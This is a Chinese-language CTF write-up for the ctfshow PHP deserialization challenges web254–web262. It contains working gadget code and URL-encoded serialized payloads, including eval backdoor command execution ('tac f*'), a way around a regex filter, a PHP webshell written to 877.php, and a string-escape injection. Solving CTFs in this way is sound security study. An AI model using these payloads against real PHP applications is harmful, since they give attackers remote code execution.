ctfshow-反序列化
1.web254
读取代码后发现题目要求传入的值等于类里面的值,直接get传参即可
构建payload:
?username=xxxxxx&password=xxxxxx
2.web255
读取代码后发现,本题比上一题多了一个cookie验证,我们需要得到一个符合题目要求的cookie
构造代码,进行测试:
<?php
//highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
}
$a= new ctfShowUser();
$a->isVip = true;
echo urlencode(serialize($a));
得到符合条件的cookie值后,构建payload:
在GET处:
?username=xxxxxx&password=xxxxxx
在cookie处:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
通过hackbar传参和修改cookie,得到flag
3.web256
读取代码后发现,本题比上一题多了一个用户名和密码是否相等的验证:
if($this->username!==$this->password)
逻辑运算符 !== 是 PHP 中的不全等运算符,它用于比较两个操作数的值和类型是否都不相等
具体来说,$this->username !== $this->password 表达式会检查 $this->username 和 $this->password 的值以及它们的数据类型是否不相等
如果两个操作数的值不相等或它们的数据类型不同,表达式的结果为 true,表示它们不全等。如果它们的值相等或数据类型相同,表达式的结果为 false,表示它们全等
利用题设构建代码:
<?php
//highlight_file(__FILE__);
class ctfShowUser{
public $username='aaa';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
}
$a= new ctfShowUser();
$a->isVip = true;
echo urlencode(serialize($a));
得到cookie,构建payload:
在GET处:
?username=aaa&password=xxxxxx
在cookie处:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
仍然是通过hackbar传参和修改cookie,得到flag
4.web257
读取代码后发现,如果 username 和 password 都设置了,代码会反序列化 user cookie,并调用反序列化后的对象的 login 方法,将提供的 username 和 password 作为参数传递,这就是这道题的注入点
同时我们发现,题目中存在construct和destruct两种魔术方法,其中都包含了getinfo,除此之外backDoor类中也存在getinfo,所以我们分析一下这部分代码:backDoor 类具有一个私有的 code 属性和一个 getInfo 方法,该方法使用 eval 函数来执行存储在 code 属性中的代码,由此来构建代码:
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('tac f*');";
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
e.g.tac 是一个常见的命令行工具,用于逆向输出文件内容(按行反向输出),f* 是一个通配符,代表文件名以 “f” 开头的文件
得到cookie,构建payload:
在GET处:
?username=xxxxxx&password=xxxxxx
在cookie处:
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D
仍然是通过hackbar传参和修改cookie,得到flag
5.web258
这道题相较于上一题多了正则过滤:
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
过滤原则:
- [oc] 表示字符集,匹配字符 “o” 或 “c”。
- :\d+: 表示冒号后跟着一个或多个数字。
- /i 表示不区分大小写。
也就是确保cookie的值的格式为以 “o” 或 “c” 开头,冒号后跟着一个或多个数字,我们只需要将得到的cookie值中的o:数字改为o:+数字即可
构建代码:
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code="system('tac f*');";
}
$a=new ctfShowUser();
$b=serialize($a);
$b=str_replace("O:","O:+",$b);
echo urlencode($b);
e.g.这里使用了str_replace(“O:”,“O:+”,$b) 对序列化后的字符串 $b 进行替换操作,将所有的 “O:” 替换为 “O:+”
得到cookie,构建payload:
在GET处:
?username=xxxxxx&password=xxxxxx
在cookie处:
user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D
仍然是通过hackbar传参和修改cookie,得到flag
6.web259
7.web260
分析php代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
发现这道题对get传入的参数ctfshow进行了正则匹配,检查其中是否含有字符串/ctfshow_i_love_36D/,如果匹配成功,将会显示输出flag,构建payload:
?ctfshow=ctfshow_i_love_36D
得到flag
8.web261
先分析题目中涉及到的一些魔术方法:
- __wakeup() 方法是 PHP 的魔术方法之一,当对象被反序列化时自动调用
- __invoke() 方法是 PHP 的魔术方法之一,用于将对象作为函数调用
- __sleep() 方法是 PHP 的魔术方法之一,用于在对象序列化之前执行
- __unserialize($data) 方法是 PHP 的魔术方法之一,用于在对象反序列化时执行
- __construct() 构造函数,当创建对象时自动调用
- __destruct() 析构函数,对象被销毁时触发
这里涉及到了反序列化时同时满足了 unserialize() 和 wakeup() 两个魔术方法的触发条件,但是只有 unserialize() 方法会生效,wakeup() 方法会被忽略
所以我们只需要让若比较877==0x36d即可,构建代码:
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct(){
$this->username='877.php';
$this->password="<?php eval(system('tac /fl*')); ?>";
}
}
echo urlencode(serialize(new ctfshowvip()));
得到payload:
/877.php?vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A34%3A%22%3C%3Fphp+eval%28system%28%27tac+%2Ffl%2A%27%29%29%3B+%3F%3E%22%3B%7D
得到flag
9.web262
在源码中看到了有将fuck替换为loveU的语句,由于两者替换的字符数增加,所以想到了字符串逃逸漏洞
e.g.字符串逃逸漏洞:
- 当字符增多:在输入的时候再加上精心构造的字符,经过过滤函数,字符变多之后,就把我们构造的给挤出来,从而实现字符逃逸
- 当字符减少:在输入的时候再加上精心构造的字符,经过过滤函数,字符减少后,会把原有的吞掉,使构造的字符实现代替
但是在界面中没有看到可以利用的注入点,观察代码后发现,题目中提到了message.php,直接访问
发现了可以利用msg这个cookie值,我们首先先构造出序列化的结果:
<?php
class message{
public $token='admin';
}
$a=new message();
echo serialize($a);
所以我们需要的代码为:
";s:5:"token";s:5:"admin";}
一共为27个字符,每一个fuck变成loveU会多一个字符,所以我们需要27个fuck才能转换成功,所以我们最终输入的payload为:
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck ";s:5:"token";s:5:"admin";}
成功得出flag